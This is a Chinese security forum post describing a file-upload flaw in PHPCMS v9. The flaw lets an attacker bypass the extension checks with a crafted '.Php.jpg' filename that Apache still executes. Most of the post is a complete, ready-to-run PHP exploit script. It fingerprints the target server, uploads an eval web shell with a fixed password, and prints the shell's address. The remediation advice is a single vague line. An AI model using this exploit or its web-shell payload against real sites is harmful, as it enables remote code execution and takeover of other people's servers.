找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2465|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行
- w5 x( }) T9 Z+ V$ }8 G
2 }3 C: U, i  P' |( x简要描述:8 r2 D  S/ `& F& u

* t4 l! x- W- ?phpcms v9 getshell (apache); N7 b! N' }3 F- a! W
详细说明:
) ?+ b0 |/ L, w6 d) y- o
4 Y5 y" Z& Q1 w7 U! a. |漏洞文件:phpcms\modules\attachment\attachments.php
5 E. i# t# V' O6 v' [4 l* i$ K- W0 t* ~* D; G% H9 Q
public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  }
7 v1 D0 {& ?" x后缀检测:phpcms\modules\attachment\functions\global.func.php
# j' c9 k; K: a! F
' m3 T) j/ C+ m( P
( t0 r6 D) y3 Q1 b3 ]! `
" g: V. w2 P  K$ [. x) ofunction is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  
' ?# h% m1 F+ U3 z; X4 B( |, v
7 n: {* F) Y+ D8 Y3 C# ~  v! K关键函数:
6 V6 d& V* E- v% F  [# w/ y: G* ~5 ]4 g& Y: ^) a2 t. z

$ p! D9 x8 B9 ?/ @
. w7 K6 o. f  i8 M: ^" g( C5 B# nfunction fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  
1 t% G3 V& e! }+ K
" L& F* m; [" B) l8 U5 J9 D" c; I  Fileext函数是对文件后缀名的提取。5 S0 J, w; }% N' {/ y
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
% v! j0 f$ D* L( F/ H; v1 u" Q经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。7 E) x8 V/ K' ^8 m# I
我们回到public function crop_upload() 函数中
5 I( B* a2 V  J+ dif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
4 q: _: k* m. W. y在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数& Q3 z* v$ b& m- r( E1 Z* n
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。  D$ q, h( R  L+ F' g+ H9 \
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
( O8 L+ p# q7 g6 r最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
# X, T( `- g" e; V, |看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。0 @/ k" j8 X" b4 r; y7 a4 g
漏洞证明:6 y7 f  S+ u3 c- N  U. U4 V* \' E

5 ]3 k- ~3 ~0 }0 h& Kexp:& c7 U& e7 G( `( N( o  ?
6 ]; G' g2 h: i
<?php9 G4 `4 Z) y7 X# k) H5 ]
error_reporting(E_ERROR);0 t) q( r* u4 \( L5 I& y2 @
set_time_limit(0);6 M4 B* N  {4 ^
$pass="ln";
2 ^* a" f4 c$ |8 _print_r('# v! \' e" H) d0 X+ H" C7 m( I9 ~
+---------------------------------------------------------------------------+; F. b$ T: W6 N! z  Q
PHPCms V9 GETSHELL 0DAY ( m  n  j& J! o5 P" t3 F$ q  U0 F2 v; M
code by L.N.2 ~" _! P; E9 i+ ?6 R6 Z6 y) t

% S1 |# V+ d* e) _. zapache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
1 y/ l1 h( v0 b, v+---------------------------------------------------------------------------+
' }' J  U( r: m6 E- _3 z6 b');
+ ]% Q/ s9 ]4 u( G. Y6 N# pif ($argc < 2) {
0 i% m0 X  S* ^$ \' o. `print_r('
3 C* w0 X! a/ M; X" ]  E+---------------------------------------------------------------------------+" Y& W8 P0 l5 q. N$ |3 [% |9 g
Usage: php '.$argv[0].' url path
# N) w5 N6 |2 O& i$ l, ~1 F% _3 u% y% [* a0 K
Example:
8 ^' d9 p+ }; W* R* T. w% {' }5 ^* t1.php '.$argv[0].' lanu.sinaapp.com
; x& p% A3 B. h' _' ]" Z( {2 Z3 C# K2.php '.$argv[0].' lanu.sinaapp.com /phpcms8 Q7 a) T' L* e* c, W+ W6 q9 z
+---------------------------------------------------------------------------+
4 x" W. e! d" \6 q; Y- D');  r( X4 O% m: \3 B/ o
exit;
( H. `' Q# _8 \}) E0 F! x6 Y( E) U/ A) O! q3 Q

$ z, i% e7 \" H: H2 g& @$url = $argv[1];( f' q1 K  I1 f- w" Z0 h# ^6 s
$path = $argv[2];. W  M! Y4 w8 I* N
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
" y1 a, s! \) n; c$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';2 J% _( r5 L5 a8 V. P
if($ret=Create_dir($url,$path))$ J  T. W+ u$ q. k8 U' f8 X
{3 I2 r& F+ m% n6 |
//echo $ret;) ]& |) ~- E3 P- |* ?# r3 P% n
$pattern = "|Server:[^,]+?|U";
/ t2 r: }7 X7 g6 w/ Hpreg_match_all($pattern, $ret, $matches);/ s  v1 X6 c. a, X4 \& R
if($matches[0][0])
0 `( ]# G+ p$ ^7 S! u0 U$ R( W2 I{9 A% D" m7 n# l$ @: p3 o
if(strpos($matches[0][0],'Apache') == false)/ p0 {" |9 L( {0 L9 U; k& g
{4 }3 E8 v" \4 ], x
echo "\n亲!此网站不是apache的网站。\n";exit;
1 \! x, }8 i" y}
0 h5 D! c0 Q5 [6 E0 R9 ]1 D( ~9 p}3 G# L7 b. S+ x( V3 m
$ret = GetShell($url,$phpshell,$path,$file);
, S# `- ~% G9 C& m* I1 [$pattern = "|http:\/\/[^,]+?\.,?|U";
' `; G5 c! Y7 S$ [  m7 W0 }preg_match_all($pattern, $ret, $matches);
* S2 g" C- {* d, f4 r/ \6 Fif($matches[0][0])
7 E4 H$ Q* V% B# w( d5 X8 n+ v{# i  g% D# h/ M0 F- q( F
echo "\n".'密码为: '.$pass."\n";
3 e& r& y6 s$ Yecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
; v4 Q' @/ f# N& T}
& |- E* _. |( D5 d7 d1 L' Telse
0 b- L9 b, x5 Q  N, C" J, F  R{: r  g% S8 V1 O. D8 p8 P
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";* I4 s" y% C2 ^1 R+ H
preg_match_all($pattern, $ret, $matches);$ |6 X4 S6 M, e  ?6 v6 l. D
if($matches[0][0])7 A% e; V. N. X. `4 x
{
5 S! U4 N; ]% @4 yecho "\n".'密码为: '.$pass."\n";
8 c, F, g2 j. b7 p! y2 {) xecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
4 I4 X% P  ~) O# O}4 L1 Q- T9 s1 ]. x
else
' j: X; e2 _7 s- I+ E0 n8 o4 d" n{
: [- \8 w- L. A9 Decho "\r\n没得到!\n";exit;, l! S7 l- }2 K6 {7 H# F! |
}0 N# H/ n/ x2 x% W6 n; G" ?
}
! |" V: ^, F% l/ E}
, d1 ^9 J4 [9 t& N! a2 \( O( n* v' W5 H7 e
function GetShell($url,$shell,$path,$js)
1 X4 @. S5 Q. o3 w* f$ f{2 S0 O) D( j! x+ g' s" k
$content =$shell;
* b. \( ~- ^3 e% G' h+ Q/ H$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
% ^* K) ?% b% G9 i$data .= "Host: ".$url."\r\n";
6 r. @) X! ^! y" L  X' l6 W$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";& K, \  b2 t2 {' f$ h& a
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
7 y) _. \% z$ e$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";* X5 j  F7 H7 x! N, {+ j
$data .= "Connection: close\r\n";
+ W% f2 Q/ n; B0 p$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
% j7 I6 G& x+ m2 y  p9 N. ?" p$data .= $content."\r\n";
9 M- |1 {  K2 \3 x$ock=fsockopen($url,80);
% @; H- c: R# R" bif (!$ock), Q0 u0 e( U3 M2 R6 M3 x, l! M
{
& b8 J* J  P' e( \4 k8 m8 Gecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
$ Y' H; n  r# u7 V}
/ S+ |& Z2 H3 V" m  |8 felse
) T) \# g& b2 O( n: ]! c% C; J3 O{8 `4 t/ _/ R4 o+ s
fwrite($ock,$data);! L. C; E  x: N2 Z$ ^! [
$resp = '';# D4 p. |* H9 l
while (!feof($ock))7 j$ B' M- L2 M+ L7 y1 n8 {2 h
{
0 w, @, ]' ~9 o$resp.=fread($ock, 1024);* K& P* h5 u# e
}: w( l& s4 r  A8 M
return $resp;
, [$ n6 C2 w9 V& Z/ E}$ F1 c3 V$ m7 A2 b
}/ x/ N9 g4 X+ p7 ~" q! ?' i; r
0 a% h+ K/ w# n( H3 N* \
function Create_dir($url,$path='')
/ e) t: E! u. y- l5 p5 O5 X# m{
! D: z: g) n! X4 y! T- U! f$content ='I love you';
# c8 X8 [2 @% s: |7 m4 f$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
4 I0 W  w/ B, d5 _6 ?$data .= "Host: ".$url."\r\n";6 m! }+ D$ X' I9 b2 u
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
# Q, o6 z" m" f8 L; d$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
+ V( x. \1 c6 l: E$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";9 X. w3 b) _( }! @$ D' A
$data .= "Connection: close\r\n";: T# W$ W/ N4 }& M6 y0 o
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";; _8 i6 s6 s. ~  {6 n8 `
$data .= $content."\r\n";
4 ^/ Y3 Q  S( N1 e$ock=fsockopen($url,80);- F" w$ k! w/ Q! ?+ @0 ~
if (!$ock)
& J4 u% a* Q& m, {3 W{, c. ?" ?  [/ R1 D
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
( ~( x9 D, t, L1 q/ H}
8 H. \2 E- ?" p! Wfwrite($ock,$data);
4 C4 v2 l7 h8 ?6 X" f$resp = '';$ d- K6 H" V% o! |+ v7 U' C' p
while (!feof($ock))
+ E% g  Y+ c- V2 i5 q{
, o' n; x9 U# R' P$resp.=fread($ock, 1024);8 ?& ]8 Z% C" ~; h: H
}
# T+ ]; C/ a! Y7 }return $resp;2 ^' W/ t1 |, J" X" ^) O
}- E- s- E4 U' a! W6 T# }8 t
?>
7 F. ]1 F6 o% d- `# L ' T: _4 V* k6 r! r8 R7 ~
修复方案:
9 H9 I( E! l9 I/ w# V
1 V9 m$ t, F( K% {: T( X过滤过滤再过滤
8 p6 X& R# v1 a1 h( m* e0 T) P5 S7 P) A: H  b
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表